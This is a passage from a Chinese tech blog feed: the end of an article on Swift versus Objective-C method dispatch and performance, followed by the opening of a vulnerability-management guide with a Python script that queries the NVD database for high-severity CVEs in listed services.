<pre><code>// Objective-C - Category 方法使用消息派发

@interface NSString (MyExtension)

- (void)myMethod;

@end


@implementation NSString (MyExtension)

- (void)myMethod {

    NSLog(@"Extension method");

}

@end


NSString *str = @"Hello";

[str myMethod];  // 通过消息派发查找
</code></pre>

<pre><code>// Swift - Extension 方法使用静态派发

extension String {

    func myMethod() {

        print("Extension method")

    }

}


let str = "Hello"

str.myMethod()  // 静态派发，编译期确定


// 无法重写 extension 方法

class MyString: NSString {

    // ❌ 无法重写 Swift extension 方法

}
</code></pre>

<h5 id="">性能对比测试</h5>

<pre><code>// 测试代码（调用 1000 万次）

class TestClass {

    func normalMethod() -&gt; Int { return 1 }

    final func finalMethod() -&gt; Int { return 1 }

    @objc dynamic func dynamicMethod() -&gt; Int { return 1 }

}


// 结果：

// Swift struct method:       10ms   (静态派发)

// Swift final method:        10ms   (静态派发)

// Swift class method:        20ms   (V-Table 派发)

// Swift @objc dynamic:       80ms   (OC 消息派发)

// OC instance method:        85ms   (OC 消息派发)
</code></pre>

<h6 id="">性能差距：</h6>

<ul>
<li>静态派发 vs OC 消息派发：8-9 倍</li>
<li>V-Table vs OC 消息派发：4 倍</li>
</ul>

<p>何时选择哪种机制？</p>

<p>选择 Swift 原生机制（静态/表派发）</p>

<p>✅ 适合场景：</p>

<ul>
<li>性能敏感的代码（游戏、图形处理）</li>
<li>不需要运行时动态性</li>
<li>新的 Swift 项目</li>
<li>类型安全要求高</li>
</ul>

<pre><code>// 示例：游戏实体系统

struct Entity {

    var position: Vector2D

    var velocity: Vector2D


    mutating func update(deltaTime: Float) {

        position.x += velocity.x * deltaTime

        position.y += velocity.y * deltaTime

    }

}


// 静态派发，可被完全内联优化

func updateEntities(_ entities: inout [Entity], deltaTime: Float) {

    for i in 0..&lt;entities.count {

        entities[i].update(deltaTime: deltaTime)

    }

}
</code></pre>

<h6 id="ocobjcdynamic">选择 OC 消息派发（@objc dynamic）</h6>

<p>✅ 适合场景：</p>

<ul>
<li>需要 Method Swizzling</li>
<li>需要 KVO</li>
<li>与 OC 代码交互</li>
<li>需要运行时动态添加方法</li>
</ul>

<pre><code>// 示例：埋点框架

class AnalyticsTracker: NSObject {

    @objc dynamic func trackEvent(_ name: String) {

        // 原始实现

        sendToServer(name)

    }

}


// 在测试中 swizzle

extension AnalyticsTracker {

    @objc dynamic func test_trackEvent(_ name: String) {

        print("Test: \(name)")

        // 不发送到服务器

    }

}
</code></pre>

<h4 id="">静态派发详解</h4>

<h5 id="">什么时候使用静态派发？</h5>

<p>Swift 编译器会在以下场景使用静态派发：  </p>

<h6 id="1structenum">1. 值类型（Struct、Enum）</h6>

<pre><code>struct Calculator {

    func add(_ a: Int, _ b: Int) -&gt; Int {

        return a + b  // 静态派发

    }

}


// 编译后：

// call Calculator.add(Calculator, Int, Int) -&gt; Int
</code></pre>

<p>原因：值类型不支持继承，编译器知道具体类型。</p>

<h6 id="2final">2. final 类和方法</h6>

<pre><code>final class FinalClass {

    func method() { }  // 静态派发

}


class BaseClass {

    final func finalMethod() { }  // 静态派发

    func normalMethod() { }       // 表派发

}
</code></pre>

<p>原因：<code>final</code>保证不会被继承或重写。</p>

<h6 id="3privatefileprivate">3. private 和 fileprivate 方法</h6>

<pre><code>class MyClass {

    private func privateMethod() {  // 静态派发

        print("Private")

    }


    func publicMethod() {  // 表派发

        print("Public")

    }

}
</code></pre>

<p>原因：编译器能确定当前模块内没有重写。</p>

<h6 id="4extension">4. 扩展（Extension）中的方法</h6>

<pre><code>class MyClass { }


extension MyClass {

    func extensionMethod() {  // 静态派发

        print("Extension")

    }

}


// extension 方法不会加入 V-Table，无法被重写

class SubClass: MyClass {

    // ❌ 无法重写 extensionMethod

}
</code></pre>

<h6 id="5wholemoduleoptimization">5. 全模块优化（Whole Module Optimization）</h6>

<p>开启 WMO 后，编译器可以分析整个模块，将更多方法静态化。</p>

<pre><code>// 在 WMO 下，如果编译器确认没有子类重写，可能会静态派发

internal class InternalClass {

    func method() { }

}
</code></pre>

<p>静态派发的优势</p>

<p></p><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;"> <br>
  <span style="font-weight: 700;">1.性能更高：</span>无需查表，可被内联优化
</p><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;"> <br>
  <span style="font-weight: 700;">2.编译期优化：</span>死代码消除、常量折叠
</p><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;"> <br>
  <span style="font-weight: 700;">3.代码体积更小：</span>内联后减少函数调用开销</p>

<h4 id="">动态派发详解</h4>

<h5 id="vtable">V-Table 派发原理</h5>

<p>每个类都有一个虚函数表（V-Table），存储方法的实现地址：</p>

<pre><code>class Animal {

    func eat() { print("Animal eating") }

    func sleep() { print("Animal sleeping") }

}


class Dog: Animal {

    override func eat() { print("Dog eating") }

    func bark() { print("Woof!") }

}
</code></pre>

<h6 id="vtable">V-Table 结构：</h6>

<pre><code>Animal V-Table:

[0] eat   -&gt; Animal.eat

[1] sleep -&gt; Animal.sleep


Dog V-Table:

[0] eat   -&gt; Dog.eat       // 重写

[1] sleep -&gt; Animal.sleep  // 继承

[2] bark  -&gt; Dog.bark      // 新增
</code></pre>

<h6 id="">调用过程：</h6>

<pre><code>let animal: Animal = Dog()

animal.eat()


// 汇编级别的步骤：

// 1. mov rax, [animal]        ; 获取对象指针

// 2. mov rax, [rax]           ; 获取 V-Table 指针

// 3. mov rax, [rax + 0*8]     ; 获取 eat 方法指针（索引 0）

// 4. call rax                 ; 调用方法
</code></pre>

<h5 id="witnesstable">Witness Table 派发原理</h5>

<p>协议使用见证表（Witness Table）存储协议要求的实现：</p>

<pre><code>protocol Drawable {

    func draw()

}


struct Circle: Drawable {

    func draw() { print("Circle") }

}


struct Rectangle: Drawable {

    func draw() { print("Rectangle") }

}
</code></pre>

<h6 id="witnesstable">Witness Table：</h6>

<pre><code>Circle Witness Table for Drawable:

[0] draw -&gt; Circle.draw


Rectangle Witness Table for Drawable:

[0] draw -&gt; Rectangle.draw
</code></pre>

<h6 id="existentialcontainer">存在容器（Existential Container）：</h6>

<pre><code>let shape: Drawable = Circle()

// shape 实际上是一个 Existential Container：

// struct ExistentialContainer {

//     var valueBuffer: (Int, Int, Int)  // 存储值（小对象）或指针（大对象）

//     var type: Metadata                 // 类型元数据

//     var witnessTable: WitnessTable     // 见证表指针

// }
</code></pre>

<h5 id="objcdynamic">消息派发原理（@objc dynamic）</h5>

<p>使用 Objective-C 运行时的消息转发机制：</p>

<pre><code>@objc dynamic func dynamicMethod() { }


// 编译为：

objc_msgSend(obj, selector("dynamicMethod"))  
</code></pre>

<p>特性：</p>

<ul>
<li>支持方法交换（Method Swizzling）</li>
<li>支持 KVO</li>
<li>支持消息转发</li>
<li>性能最差</li>
</ul>

<h4 id="">不同类型的派发规则</h4>

<h5 id="class">Class 类的派发规则</h5>

<p><img src="http://static.etouch.cn/imgs/upload/1772431061.3414.png" alt=""></p>

<pre><code>class MyClass {

    func normalMethod() { }           // V-Table 派发

    final func finalMethod() { }      // 静态派发

    private func privateMethod() { }  // 静态派发

    @objc func objcMethod() { }       // V-Table 派发（可被 OC 调用）

    @objc dynamic func dynamicMethod() { } // 消息派发

}


extension MyClass {

    func extensionMethod() { }  // 静态派发（无法被重写）

}
</code></pre>

<h5 id="structenum">Struct/Enum 的派发规则</h5>

<h6 id="">所有方法都是静态派发</h6>

<pre><code>struct MyStruct {

    func method() { }  // 静态派发

}


enum MyEnum {

    case a, b

    func method() { }  // 静态派发

}
</code></pre>

<h5 id="protocol">Protocol 的派发规则</h5>

<p><img src="http://static.etouch.cn/imgs/upload/1772431188.3611.png" alt=""></p>

<h4 id="">协议派发的坑</h4>

<p>这是 Swift 中最容易出错的地方！</p>

<h5 id="1">案例 1：协议扩展方法不会被重写</h5>

<pre><code>protocol Animal {

    func requiredMethod()

}


extension Animal {

    func extensionMethod() {

        print("From protocol extension")

    }

}


struct Dog: Animal {

    func requiredMethod() {

        print("Dog implementation")

    }


    func extensionMethod() {

        print("Dog extension method")

    }

}


let dog = Dog()

dog.extensionMethod()  // 输出：Dog extension method


let animal: Animal = Dog()

animal.extensionMethod()  // 输出：From protocol extension ⚠️  
</code></pre>

<p>原因：</p>

<ul>
<li>extensionMethod不是协议要求，使用静态派发</li>
<li>以协议类型调用时，编译器在编译期就确定了调用 extension的实现</li>
</ul>

<p>案例 2：协议要求 vs 协议扩展</p>

<pre><code>protocol Drawable {

    func draw()  // 协议要求

}


extension Drawable {

    func draw() {

        print("Default draw")  // 默认实现

    }


    func debugInfo() {

        print("Debug info")  // 非协议要求

    }

}


struct Circle: Drawable {

    func draw() {

        print("Circle draw")

    }


    func debugInfo() {

        print("Circle debug")

    }

}


let shape: Drawable = Circle()

shape.draw()       // 输出：Circle draw (动态派发)

shape.debugInfo()  // 输出：Debug info (静态派发) ⚠️  
</code></pre>

<h5 id="">如何避免？</h5>

<p>方法 1：在协议中声明所有需要被重写的方法</p>

<pre><code>protocol Drawable {

    func draw()

    func debugInfo()  // 在协议中声明

}


extension Drawable {

    func draw() { print("Default") }

    func debugInfo() { print("Default debug") }

}


struct Circle: Drawable {

    func draw() { print("Circle") }

    func debugInfo() { print("Circle debug") }

}


let shape: Drawable = Circle()

shape.debugInfo()  // 输出：Circle debug ✅  
</code></pre>

<p>方法 2：使用具体类型而非协议类型</p>

<pre><code>let circle = Circle()  // 具体类型，非协议类型

circle.debugInfo()  // 输出：Circle debug  
</code></pre>

<h4 id="swiftoc">Swift 与 OC 混编的派发规则</h4>

<h5 id="nsobject">NSObject 子类</h5>

<pre><code>// 继承自 NSObject 的 Swift 类

class MyViewController: UIViewController {

    // 1. 普通方法：V-Table 派发（Swift 侧）

    func swiftMethod() {

        print("Swift method")

    }


    // 2. override OC 方法：使用 OC 的消息派发

    override func viewDidLoad() {

        super.viewDidLoad()

    }


    // 3. @objc 标记：可被 OC 调用，但仍是 V-Table 派发

    @objc func objcMethod() {

        print("Can be called from OC")

    }


    // 4. @objc dynamic：使用 OC 消息派发

    @objc dynamic func dynamicMethod() {

        print("OC message dispatch")

    }

}
</code></pre>

<h6 id="objcvsobjcdynamic">@objc vs @objc dynamic</h6>

<pre><code>class MyClass: NSObject {

    // @objc: 暴露给 OC，但仍用 V-Table 派发

    @objc func method1() { }


    // @objc dynamic: 使用 OC 消息派发

    @objc dynamic func method2() { }

}


// 从 Swift 调用

let obj = MyClass()

obj.method1()  // V-Table 派发

obj.method2()  // 消息派发


// 从 OC 调用

MyClass *obj = [[MyClass alloc] init];

[obj method1];  // 消息派发

[obj method2];  // 消息派发
</code></pre>

<h6 id="">规则总结：</h6>

<ul>
<li>@objc：允许 OC 调用，Swift 内部仍用 V-Table</li>
<li>@objc dynamic：Swift 和 OC 都用消息派发</li>
<li>继承 <code>NSObject</code>不会自动改变派发方式</li>
</ul>

<h5 id="methodswizzling">实战场景：Method Swizzling</h5>

<pre><code>// ❌ 无法 Swizzle 普通 Swift 方法

class SwiftClass {

    func method() { }  // V-Table，无法 swizzle

}


// ✅ 必须使用 @objc dynamic

class SwiftClass: NSObject {

    @objc dynamic func method() { }  // 可以 swizzle

}


// Swizzling 代码

extension SwiftClass {

    @objc dynamic func swizzled_method() {

        print("Swizzled")

        swizzled_method()  // 调用原始实现

    }


    static func swizzle() {

        let original = #selector(method)

        let swizzled = #selector(swizzled_method)


        guard let originalMethod = class_getInstanceMethod(self, original),

              let swizzledMethod = class_getInstanceMethod(self, swizzled) else {

            return

        }


        method_exchangeImplementations(originalMethod, swizzledMethod)

    }

}
</code></pre>

<h4 id="">性能对比与优化建议</h4>

<h5 id="">性能测试</h5>

<pre><code>// 测试代码（简化）

class TestClass {

    func normalMethod() -&gt; Int { return 1 }

    final func finalMethod() -&gt; Int { return 1 }

    @objc dynamic func dynamicMethod() -&gt; Int { return 1 }

}


struct TestStruct {

    func method() -&gt; Int { return 1 }

}


// 调用 1000 万次的性能对比：

// Struct method:        10ms  (静态派发)

// Class final method:   10ms  (静态派发)

// Class normal method:  20ms  (V-Table 派发)

// Dynamic method:       80ms  (消息派发)

// OC method:            85ms  (消息派发)
</code></pre>

<h6 id="">性能倍数：</h6>

<ul>
<li>静态派发：1x（基准，最快）</li>
<li>V-Table：2x</li>
<li>消息派发：8x</li>
</ul>

<h5 id="">优化建议</h5>

<h6 id="1">1. 优先使用值类型</h6>

<pre><code>// ❌ 不必要的 class

class Point {

    var x: Double

    var y: Double

}


// ✅ 使用 struct

struct Point {

    var x: Double

    var y: Double

}
</code></pre>

<h6 id="">原因：</h6>

<ul>
<li>Struct 使用静态派发</li>
<li>无需堆分配</li>
<li>无引用计数开销</li>
</ul>

<h6 id="2final">2. 使用 final 关键字</h6>

<pre><code>// ❌ 未优化

class ViewManager {

    func updateView() { }

}


// ✅ 使用 final（如果不需要继承）

final class ViewManager {

    func updateView() { }

}


// ✅ 或者只 final 部分方法

class ViewManager {

    final func updateView() { }  // 高频调用的方法

    func configure() { }         // 可能需要重写的方法

}
</code></pre>

<h6 id="3privatefileprivate">3. 使用 private/fileprivate</h6>

<pre><code>class MyClass {

    // ✅ 内部方法标记为 private

    private func helperMethod() { }


    public func publicMethod() {

        helperMethod()

    }

}
</code></pre>

<h6 id="4objcdynamic">4. 避免不必要的 @objc dynamic</h6>

<pre><code>// ❌ 不需要动态特性却使用了 dynamic

class MyClass {

    @objc dynamic func method() { }

}


// ✅ 只在需要时使用

class MyClass {

    func method() { }  // 普通方法就够了


    @objc dynamic func needsSwizzling() { }  // 确实需要的情况

}
</code></pre>

<h6 id="5">5. 使用泛型代替协议类型</h6>

<pre><code>// ❌ 使用协议类型（Witness Table 派发）

func process(items: [Drawable]) {

    for item in items {

        item.draw()  // Witness Table 派发

    }

}


// ✅ 使用泛型（静态派发 + 特化）

func process&lt;T: Drawable&gt;(items: [T]) {

    for item in items {

        item.draw()  // 可被静态派发和内联

    }

}
</code></pre>

<h6 id="6wholemoduleoptimization">6. 开启 Whole Module Optimization</h6>

<p>在 Build Settings 中开启：</p>

<ul>
<li>Optimization Level:-O(Release) </li>
<li>Whole Module Optimization:Yes</li>
</ul>

<p>效果：</p>

<ul>
<li>编译器可以分析整个模块</li>
<li>将更多方法从动态派发优化为静态派发</li>
<li>更激进的内联优化</li>
</ul>

<h4 id="">实战案例</h4>

<h5 id="1">案例 1：优化高性能计算代码</h5>

<pre><code>// ❌ 优化前：使用协议和 class

protocol MathOperation {

    func calculate(_ value: Double) -&gt; Double

}


class SquareOperation: MathOperation {

    func calculate(_ value: Double) -&gt; Double {

        return value * value

    }

}


func processBatch(_ values: [Double], operation: MathOperation) -&gt; [Double] {

    return values.map { operation.calculate($0) }  // Witness Table 派发（动态）

}


// ✅ 优化后：使用泛型 + struct

protocol MathOperation {

    func calculate(_ value: Double) -&gt; Double

}


struct SquareOperation: MathOperation {

    func calculate(_ value: Double) -&gt; Double {

        return value * value

    }

}


func processBatch&lt;Op: MathOperation&gt;(_ values: [Double], operation: Op) -&gt; [Double] {

    return values.map { operation.calculate($0) }  // 静态派发 + 内联

}


// 性能提升：约 3-5 倍
</code></pre>

<h5 id="2">案例 2：修复协议扩展的坑</h5>

<pre><code>// ❌ 错误实现

protocol ViewConfigurable {

    func configure()

}


extension ViewConfigurable {

    func configure() {

        setupDefaultStyle()

    }


    func setupDefaultStyle() {

        print("Default style")

    }

}


class CustomView: UIView, ViewConfigurable {

    func setupDefaultStyle() {

        print("Custom style")

    }

}


let view: ViewConfigurable = CustomView()

view.configure()  // 调用 setupDefaultStyle 时输出：Default style ⚠️


// ✅ 正确实现：在协议中声明

protocol ViewConfigurable {

    func configure()

    func setupDefaultStyle()  // 声明为协议要求

}


extension ViewConfigurable {

    func configure() {

        setupDefaultStyle()

    }


    func setupDefaultStyle() {

        print("Default style")

    }

}


class CustomView: UIView, ViewConfigurable {

    func setupDefaultStyle() {

        print("Custom style")

    }

}


let view: ViewConfigurable = CustomView()

view.configure()  // 输出：Custom style ✅  
</code></pre>

<h5 id="3swiftoc">案例 3：Swift 与 OC 混编优化</h5>

<pre><code class="language-// 场景：需要暴露给 OC，但不需要 swizzling">// ❌ 过度使用 dynamic

class APIManager: NSObject {

    @objc dynamic func fetchData() { }  // 不需要 dynamic

}


// ✅ 只使用 @objc

class APIManager: NSObject {

    @objc func fetchData() { }  // Swift 内部用 V-Table，OC 可调用

}


// 性能提升：Swift 侧调用快 4 倍
</code></pre>

<h5 id="4">案例 4：游戏实体系统优化</h5>

<pre><code>// ❌ 使用 class + 协议

protocol GameEntity {

    var position: CGPoint { get set }

    func update(deltaTime: Float)

}


class Player: GameEntity {

    var position: CGPoint

    func update(deltaTime: Float) { /* ... */ }

}


var entities: [GameEntity] = []  // 存在容器开销 + Witness Table


// ✅ 使用 struct + 泛型

protocol GameEntity {

    var position: CGPoint { get set }

    mutating func update(deltaTime: Float)

}


struct Player: GameEntity {

    var position: CGPoint

    mutating func update(deltaTime: Float) { /* ... */ }

}


// 使用具体类型数组

var players: [Player] = []  // 连续内存 + 静态派发


// 或使用泛型容器

struct EntityManager&lt;T: GameEntity&gt; {

    var entities: [T]


    mutating func update(deltaTime: Float) {

        for i in 0..&lt;entities.count {

            entities[i].update(deltaTime: deltaTime)  // 静态派发 + 内联

        }

    }

}


// 性能提升：5-10 倍（取决于实体数量）
</code></pre>

<h4 id="">总结</h4>

<h5 id="">核心要点</h5>

<h6 id="swiftoc">Swift 与 OC 的本质区别：</h6>

<ul>
<li>OC：所有方法调用默认使用消息派发，极致的动态性，性能开销大</li>
<li>Swift：默认使用静态派发和表派发，性能优先，动态性受限</li>
</ul>

<h6 id="swift">Swift 的四种派发方式：</h6>

<ul>
<li>静态派发：最快，用于值类型、final、private</li>
<li>V-Table 派发：较快，用于类的普通方法</li>
<li>Witness Table 派发：中等，用于协议方法</li>
<li>消息派发：最慢，用于 @objc dynamic</li>
</ul>

<h6 id="oc">OC 消息派发机制：</h6>

<ul>
<li>缓存查找 → 方法列表 → 父类链 → 消息转发</li>
<li>强大的动态性：Method Swizzling、KVO、动态添加方法</li>
<li>性能开销：比 Swift 静态派发慢 8 倍以上</li>
</ul>

<h6 id="">协议派发的坑：</h6>

<ul>
<li>协议要求的方法：动态派发</li>
<li>协议扩展的非要求方法：静态派发
*　以协议类型调用时，扩展方法不会被"重写"</li>
</ul>

<h6 id="swiftoc">Swift 与 OC 混编：</h6>

<ul>
<li><code>@objc</code>：暴露给 OC，Swift 内部仍用 V-Table</li>
<li><code>@objc dynamic</code>：Swift 和 OC 都用消息派发</li>
<li>继承 NSObject 不改变派发方式</li>
</ul>

<h5 id="">性能优化策略</h5>

<p><img src="http://static.etouch.cn/imgs/upload/1772432200.7086.png" alt=""></p>

<h5 id="">决策树</h5>

<pre><code>需要 OC Runtime 特性（Swizzling/KVO）？

├─ 是 → 用 @objc dynamic (消息派发)

└─ 否 → 需要继承？

    ├─ 否 → 用 struct (静态派发)

    └─ 是 → 用 class

        ├─ 需要被重写？

        │   ├─ 否 → 用 final (静态派发)

        │   └─ 是 → 普通方法 (V-Table 派发)

        └─ 需要暴露给 OC？

            └─ 是 → 用 @objc (V-Table，OC 可调用)
</code></pre>

<h4 id="">附录：底层实现细节</h4>

<h5 id="swiftvtable">Swift V-Table 的内存布局</h5>

<pre><code>class Animal {

    var name: String = ""

    func eat() { }

    func sleep() { }

}


// 内存布局（简化）

struct Animal_Instance {

    HeapObject header;           // 引用计数等

    String name;                 // 存储属性

}


struct Animal_VTable {

    void (*destroy)(Animal*);    // 析构函数

    size_t size;                 // 对象大小

    void (*eat)(Animal*);        // 方法 1

    void (*sleep)(Animal*);      // 方法 2

}
</code></pre>

<h5 id="oc">OC 消息派发的汇编实现</h5>

<pre><code>; objc_msgSend 的简化实现

_objc_msgSend:

    ; 检查 receiver 是否为 nil

    test    rdi, rdi

    je      LNilReceiver


    ; 获取 isa 指针（类指针）

    mov     rax, [rdi]


    ; 在缓存中查找方法

    mov     r10, [rax + 16]      ; 获取 cache

    and     r11, rsi, [r10]      ; selector &amp; mask

    lea     r12, [r10 + r11*16]  ; cache bucket


LCacheLookup:

    cmp     [r12], rsi           ; 比较 selector

    je      LCacheHit            ; 找到了

    cmp     [r12], 0             ; 检查是否为空

    je      LCacheMiss           ; 缓存未命中

    add     r12, 16              ; 下一个 bucket

    jmp     LCacheLookup


LCacheHit:

    jmp     [r12 + 8]            ; 调用 IMP


LCacheMiss:

    ; 调用慢速查找

    jmp     __objc_msgSend_uncached
</code></pre>

<h3 id="">作者介绍：</h3>

<ul>
<li>时晓东  高级iOS开发工程师</li>
</ul>]]></content:encoded></item><item><title><![CDATA[基础服务安全漏洞管理最佳实践]]></title><description><![CDATA[<h3 id="">目录</h3>

<p>1.概述 <br>
2.漏洞发现</p>

<ul>
<li>主动扫描</li>
<li>系统通知</li>
</ul>

<p>3.漏洞分析</p>

<ul>
<li>影响范围评估</li>
<li>风险等级判定</li>
</ul>

<p>4.漏洞处理</p>

<ul>
<li>环境搭建</li>
<li>漏洞复现</li>
<li>成因分析</li>
<li>修复方案</li>
</ul>

<p>5.验证与总结 <br>
6.持续改进 <br>
7.附录</p>

<h4 id="1">1. 概述</h4>

<h5 id="11">1.1 目的</h5>

<p>建立标准化的漏洞管理流程，确保基础服务安全漏洞能够被及时发现、评估、修复和验证。</p>

<p></p><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;"> <br>
  <span style="font-weight: 700;">流程说明：</span>本指南以 CVE-2025-55182（React2Shell）漏洞为实际案例，完整展示从发现到修复的全过程。该漏洞是 React Server Components 中的远程代码执行漏洞，CVSS 评分 10.0（满分），具有代表性和典型性。</p>

<h5 id="12">1.</h5>]]></description><link>https://tech.wekoi.cn/2026/03/03/ji-chu-fu-wu-an-quan-lou-dong-guan-li-zui-jia-shi-jian/</link><guid isPermaLink="false">1c9265c1-5cd0-47de-a788-d6ba883d1609</guid><category><![CDATA[大后端]]></category><dc:creator><![CDATA[微鲤技术团队]]></dc:creator><pubDate>Tue, 03 Mar 2026 03:21:59 GMT</pubDate><content:encoded><![CDATA[<h3 id="">目录</h3>

<p>1.概述 <br>
2.漏洞发现</p>

<ul>
<li>主动扫描</li>
<li>系统通知</li>
</ul>

<p>3.漏洞分析</p>

<ul>
<li>影响范围评估</li>
<li>风险等级判定</li>
</ul>

<p>4.漏洞处理</p>

<ul>
<li>环境搭建</li>
<li>漏洞复现</li>
<li>成因分析</li>
<li>修复方案</li>
</ul>

<p>5.验证与总结 <br>
6.持续改进 <br>
7.附录</p>

<h4 id="1">1. 概述</h4>

<h5 id="11">1.1 目的</h5>

<p>建立标准化的漏洞管理流程，确保基础服务安全漏洞能够被及时发现、评估、修复和验证。</p>

<p></p><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;"> <br>
  <span style="font-weight: 700;">流程说明：</span>本指南以 CVE-2025-55182（React2Shell）漏洞为实际案例，完整展示从发现到修复的全过程。该漏洞是 React Server Components 中的远程代码执行漏洞，CVSS 评分 10.0（满分），具有代表性和典型性。</p>

<h5 id="12">1.2 适用范围</h5>

<p>本流程适用于以下基础服务和中间件的漏洞管理，当前维护的服务清单如下：
</p><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;"> <br>
  <span style="font-weight: 700;">services-versions.json（服务版本清单）：</span></p>

<pre><code>{

  "services": [

    {

      "name": "Apache Tomcat",

      "product": "tomcat",

      "version": "8.5.93"

    },

    {

      "name": "OpenJDK 21",

      "product": "openjdk",

      "version": "21.0.1"

    },

    {

      "name": "OpenJDK 8",

      "product": "jdk",

      "version": "1.8.0_392"

    },

    {

      "name": "Node.js",

      "product": "node.js",

      "version": "22.0.0"

    },

    {

      "name": "React",

      "product": "react",

      "version": "19.0.0"

    }

  ]

}
</code></pre>

<h6 id="">字段说明：</h6>

<ul>
<li>name：服务显示名称，用于报告展示</li>
<li>product：产品名称，用于 NVD 数据库查询（需与 CVE 中的产品名称匹配）</li>
<li>version：当前使用的版本号</li>
</ul>

<h6 id="">维护要求：</h6>

<ul>
<li>新增服务时，及时添加到清单中</li>
<li>版本升级后，立即更新版本号</li>
<li>每月核对一次，确保信息准确</li>
</ul>

<h6 id="13">1.3 角色与职责</h6>

<p><img src="http://static.etouch.cn/imgs/upload/1772440743.7437.png" alt=""></p>

<h4 id="2">2. 漏洞发现</h4>

<h5 id="21">2.1 主动扫描方式（主动扫描发现服务清单中，基础服务的高危漏洞）</h5>

<h6 id="211">2.1.1 扫描工具</h6>

<p></p><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;"> <br>
  <span style="font-weight: 700;">工具名：</span>漏洞扫描脚本（scan-vulnerabilities.py）</p>

<p></p><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;"> <br>
  <span style="font-weight: 700;">完整代码：</span></p>

<pre><code>#!/usr/bin/env python3

import json

import requests

import time

from datetime import datetime


def load_services(file_path):

    """加载服务版本清单"""

    with open(file_path, 'r', encoding='utf-8') as f:

        return json.load(f)['services']


def check_nvd(product, version):

    """查询 NVD 数据库获取漏洞信息"""

    url = "https://services.nvd.nist.gov/rest/json/cves/2.0"

    params = {

        "keywordSearch": f"{product} {version}",  # 关键词搜索

        "resultsPerPage": 20  # 每页返回 20 条结果

    }


    try:

        response = requests.get(url, params=params, timeout=10)

        if response.status_code == 200:

            data = response.json()

            vulnerabilities = []


            # 遍历所有漏洞

            for item in data.get("vulnerabilities", []):

                cve = item.get("cve", {})

                cve_id = cve.get("id")

                description = cve.get("descriptions", [{}])[0].get("value", "")


                # 获取 CVSS 评分（优先 v3.1 &gt; v3.0 &gt; v2）

                metrics = cve.get("metrics", {})

                cvss_v31 = metrics.get("cvssMetricV31", [])

                cvss_v30 = metrics.get("cvssMetricV30", [])

                cvss_v2 = metrics.get("cvssMetricV2", [])


                score = None

                severity = None


                if cvss_v31:

                    cvss_data = cvss_v31[0].get("cvssData", {})

                    score = cvss_data.get("baseScore")

                    severity = cvss_data.get("baseSeverity")

                elif cvss_v30:

                    cvss_data = cvss_v30[0].get("cvssData", {})

                    score = cvss_data.get("baseScore")

                    severity = cvss_data.get("baseSeverity")

                elif cvss_v2:

                    cvss_data = cvss_v2[0].get("cvssData", {})

                    score = cvss_data.get("baseScore")

                    # v2 没有 severity，根据评分判断

                    severity = "HIGH" if score &gt;= 7.0 else "MEDIUM" if score &gt;= 4.0 else "LOW"


                # 只保留高危和严重漏洞

                if severity in ["HIGH", "CRITICAL"]:

                    vulnerabilities.append({

                        "cve_id": cve_id,

                        "severity": severity,

                        "score": score,

                        "description": description[:200]  # 截取前 200 字符

                    })


            return vulnerabilities

    except Exception as e:

        print(f"    ❌ 查询失败: {e}")

        return []


    return []


def main():

    print(f"{'='*70}")

    print(f"漏洞扫描报告 - {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")

    print(f"{'='*70}\n")


    # 加载服务清单

    services = load_services('services-versions.json')

    total_vulns = 0


    # 遍历所有服务进行扫描

    for service in services:

        name = service['name']

        product = service['product']

        version = service['version']


        print(f" {name} ({version})")

        print(f"   正在查询 NVD 数据库...")


        # 查询漏洞

        vulns = check_nvd(product, version)


        if vulns:

            total_vulns += len(vulns)

            print(f"   ⚠️  发现 {len(vulns)} 个高危/严重漏洞:\n")

            for v in vulns:

                print(f"       {v['cve_id']}")

                print(f"         严重程度: {v['severity']} (评分: {v['score']})")

                print(f"         描述: {v['description']}")

                print()

        else:

            print(f"   ✅ 未发现高危漏洞\n")


        # NVD API 限流：无 API Key 时每 6 秒一次请求

        time.sleep(6)


    print(f"{'='*70}")

    print(f"扫描完成 - 共发现 {total_vulns} 个高危/严重漏洞")

    print(f"{'='*70}")


if __name__ == "__main__":

    main()
</code></pre>

<h6 id="">脚本说明：</h6>

<ul>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">数据源： </span>NVD（美国国家漏洞数据库）REST API v2.0</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">查询方式：</span>NVD关键词搜索（产品名 + 版本号）</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">筛选条件：</span>NVD仅显示高危（HIGH）和严重（CRITICAL）漏洞</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">评分优先级：</span>NVDCVSS v3.1 > v3.0 > v2.0</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">速率限制：</span>NVD每 6 秒一次请求（NVD 无 API Key 限制）</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">依赖库：</span>NVDrequests（需通过 pip3 install requests安装）</p></li>
</ul>

<h6 id="">注意事项：</h6>

<ul>
<li>脚本需与 services-versions.json放在同一目录</li>
<li>如需更高频率查询，可申请 NVD API Key</li>
<li>查询结果可能存在误报，需结合实际环境判断</li>
</ul>

<h6 id="212">2.1.2 扫描频率</h6>

<ul>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">定期扫描：</span>NVD每周一上午 9:00 自动执行</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">临时扫描：</span>NVD重大安全事件发生时立即执行</p></li>
</ul>

<h6 id="213">2.1.3 扫描流程</h6>

<pre><code># 1. 维护服务清单

编辑 services-versions.json，确保版本信息准确


# 2. 执行扫描

python3 scan-vulnerabilities.py


# 3. 查看结果

检查扫描报告，关注高危/严重漏洞（CVSS ≥ 7.0）
</code></pre>

<h6 id="214">2.1.4 扫描结果示例</h6>

<pre><code>======================================================================

